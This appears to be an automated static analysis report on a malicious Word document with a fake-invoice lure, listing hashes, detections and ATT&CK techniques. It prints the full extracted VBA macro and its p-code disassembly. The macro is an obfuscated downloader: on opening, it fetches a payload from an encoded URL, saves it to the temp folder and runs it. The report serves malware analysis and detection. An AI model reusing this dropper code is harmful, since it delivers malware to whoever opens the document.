Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 121a2f33ae864a24…

MALICIOUS

Office (OLE)

130.0 KB Created: 2018-10-17 03:49:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: eff3a7b302da074ecaadd8ffa849e850 SHA-1: 78d486f836f665907b67d7555225a394d134c6df SHA-256: 121a2f33ae864a24b1c3912f38317ddd80b191807a8bfcf3af215f75b2a47033
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is configured to execute upon opening, and it uses 'CreateObject' to download and save a file to disk, likely a second-stage payload. The document body presents a fake invoice and instructs the user to enable content, a common lure for macro-based malware.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    §°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½ = ¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²·.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²· = CreateObject("microsoft.xmlhttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²··¶¹¨¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³« = Environ("tmp") + ¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢¿³§©¿¤©¿§¡««¼´ª³º¬("\ZRRKãRâ.ÂÛÂ")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17559 bytes
SHA-256: 7cc3dad5c7d3f5fb25bb58a16130b6d816dc2eb040f4ab899ffd6e10f1d81a18
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Public Function ¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢¿³§©¿¤©¿§¡««¼´ª³º¬(¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§)
        ª¹½¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢ = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        ¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼ = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§)
            ¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²··¶¹¨¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«ª¹½ = InStr(ª¹½¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢, Mid(¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§, i, 1))
            If ¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²··¶¹¨¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«ª¹½ > 0 Then
                ¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢ = Mid(¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼, ¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²··¶¹¨¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«ª¹½, 1)
                ¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£ = ¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£ + ¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢
            Else
                ¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£ = ¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£ + Mid(¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§, i, 1)
            End If
        Next
        ¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢¿³§©¿¤©¿§¡««¼´ª³º¬ = ¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£
    End Function

Private Sub Document_Open()
Dim ¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²·
Set ¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²· = CreateObject("microsoft.xmlhttp")
Dim ¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²··¶¹¨¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«
Dim º¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾
Set º¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾ = CreateObject("Shell.Application")

¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²··¶¹¨¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³« = Environ("tmp") + ¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢¿³§©¿¤©¿§¡««¼´ª³º¬("\ZRRKãRâ.ÂÛÂ")
¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²·.Open "GET", ¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢¿³§©¿¤©¿§¡««¼´ª³º¬("hÖÖÓ://www.ÖhÂmÂÕ-ÛzÒÅÂ.mÂ/ÕÖhÂmÂÕ/R1áNÙ99947576886999²0847³³6468³8²²²³456ÖÁ55758F.ÂÛÂ"), False
¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²·.send
§°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½ = ¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²·.responseBody
If ¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²·.Status = 200 Then
Set ¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«ª¹½¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³ = CreateObject("adodb.stream")
¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«ª¹½¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³.Open
¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«ª¹½¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³.Type = 1
¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«ª¹½¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³.Write §°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½
¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«ª¹½¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³.SaveToFile ¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²··¶¹¨¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«, 2
¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«ª¹½¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³.Close
End If
º¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾.Open (¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²··¶¹¨¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«)


End Sub

Attribute VB_Name = "NewMacros"
Sub FRvbbifdifsivdddNumte()
'
' FRvbbifdifsivdddNumte Macro
'
'

End Sub

' Processing file: /tmp/qstore_w23lsdlb
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5631 bytes
' Line #0:
' 	FuncDefn (Public Function ¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼(i, id_FFFE As Variant))
' Line #1:
' 	LitStr 0x006E " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
' 	St ¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢ 
' Line #2:
' 	LitStr 0x006E " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
' 	St ¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£ 
' Line #3:
' 	StartForVariable 
' 	Ld Document_Open 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld i 
' 	FnLen 
' 	For 
' Line #4:
' 	Ld ¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢ 
' 	Ld i 
' 	Ld Document_Open 
' 	LitDI2 0x0001 
' 	ArgsLd Mid 0x0003 
' 	FnInStr 
' 	St ¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²· 
' Line #5:
' 	Ld ¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²· 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #6:
' 	Ld ¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£ 
' 	Ld ¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²· 
' 	LitDI2 0x0001 
' 	ArgsLd Mid 0x0003 
' 	St CreateObject 
' Line #7:
' 	Ld ¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²··¶¹¨¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³« 
' 	Ld CreateObject 
' 	Add 
' 	St ¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²··¶¹¨¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³« 
' Line #8:
' 	ElseBlock 
' Line #9:
' 	Ld ¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²··¶¹¨¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³« 
' 	Ld i 
' 	Ld Document_Open 
' 	LitDI2 0x0001 
' 	ArgsLd Mid 0x0003 
' 	Add 
' 	St ¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²··¶¹¨¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³« 
' Line #10:
' 	EndIfBlock 
' Line #11:
' 	StartForVariable 
' 	Next 
' Line #12:
' 	Ld ¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾·¼¥¨º»¡»¾«½²··¶¹¨¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³« 
' 	St ¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼ 
' Line #13:
' 	EndFunc 
' Line #14:
' Line #15:
' 	FuncDefn (Private Sub º¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼¼£®£«©¶©£¦µ´¯¢½¹·½§²¾())
' Line #16:
' 	Dim 
' 	VarDefn Environ
' Line #17:
' 	SetStmt 
' 	LitStr 0x0011 "microsoft.xmlhttp"
' 	ArgsLd send 0x0001 
' 	Set Environ 
' Line #18:
' 	Dim 
' 	VarDefn §°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½
' Line #19:
' 	Dim 
' 	VarDefn responseBody
' Line #20:
' 	SetStmt 
' 	LitStr 0x0011 "Shell.Application"
' 	ArgsLd send 0x0001 
' 	Set responseBody 
' Line #21:
' Line #22:
' 	LitStr 0x0003 "tmp"
' 	ArgsLd Status 0x0001 
' 	LitStr 0x000C "\ZRRKãRâ.ÂÛÂ"
' 	ArgsLd ¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼ 0x0001 
' 	Add 
' 	St §°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½ 
' Line #23:
' 	LitStr 0x0003 "GET"
' 	LitStr 0x0056 "hÖÖÓ://www.ÖhÂmÂÕ-ÛzÒÅÂ.mÂ/ÕÖhÂmÂÕ/R1áNÙ99947576886999²0847³³6468³8²²²³456ÖÁ55758F.ÂÛÂ"
' 	ArgsLd ¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½¨µµ»¯½°¹ª²½º´©££¤¡ª¯ª¸¯¿¦¤¢§¸®¼´¨¦¶¨¥³¹©¢©¾¡¼ 0x0001 
' 	LitVarSpecial (False)
' 	Ld Environ 
' 	ArgsMemCall Open 0x0003 
' Line #24:
' 	Ld Environ 
' 	ArgsMemCall ¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«ª¹½¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³ 0x0000 
' Line #25:
' 	Ld Environ 
' 	MemLd _B_var_Environ 
' 	St SaveToFile 
' Line #26:
' 	Ld Environ 
' 	MemLd _B_var_§°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½ 
' 	LitDI2 0x00C8 
' 	Eq 
' 	IfBlock 
' Line #27:
' 	SetStmt 
' 	LitStr 0x000C "adodb.stream"
' 	ArgsLd send 0x0001 
' 	Set _B_var_¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«ª¹½¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³ 
' Line #28:
' 	Ld _B_var_¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«ª¹½¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³ 
' 	ArgsMemCall Open 0x0000 
' Line #29:
' 	LitDI2 0x0001 
' 	Ld _B_var_¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«ª¹½¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³ 
' 	MemSt Type 
' Line #30:
' 	Ld SaveToFile 
' 	Ld _B_var_¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«ª¹½¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³ 
' 	ArgsMemCall Xor 0x0001 
' Line #31:
' 	Ld §°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½ 
' 	LitDI2 0x0002 
' 	Ld _B_var_¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«ª¹½¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³ 
' 	ArgsMemCall _B_var_ª¹½¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢ 0x0002 
' Line #32:
' 	Ld _B_var_¤°¬¥¦´¶¸³®¤¨½³´¿²µ½»°¹§§¹¾©·¬·ª°¯°¸´¾µ¬¹¿¬¯¨³»¿¯©¶³«ª¹½¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³ 
' 	ArgsMemCall Close 0x0000 
' Line #33:
' 	EndIfBlock 
' Line #34:
' 	Ld §°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢¿³§©¿¤©¿§¡««¼´ª³º¬¸®º¼¤ª¬¿¥§·«´·µ¼½ 
' 	Paren 
' 	Ld responseBody 
' 	ArgsMemCall Open 0x0001 
' Line #35:
' Line #36:
' Line #37:
' 	EndSub 
' Macros/VBA/NewMacros - 1058 bytes
' Line #0:
' 	FuncDefn (Sub ª¹½¦¢¨»¸¸¸º²¶º«µµ¾¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°®¢¯¡º®»¹¶¯¾£¬¦£¥²¼½¦¥²¿´©¡¬¨´¸²ª®¬®ª»·»¢¾¶¿®«¾¢())
' Line #1:
' 	QuoteRem 0x0000 0x0000 ""
' Line #2:
' 	QuoteRem 0x0000 0x001C " FRvbbifdifsivdddNumte Macro"
' Line #3:
' 	QuoteRem 0x0000 0x0000 ""
' Line #4:
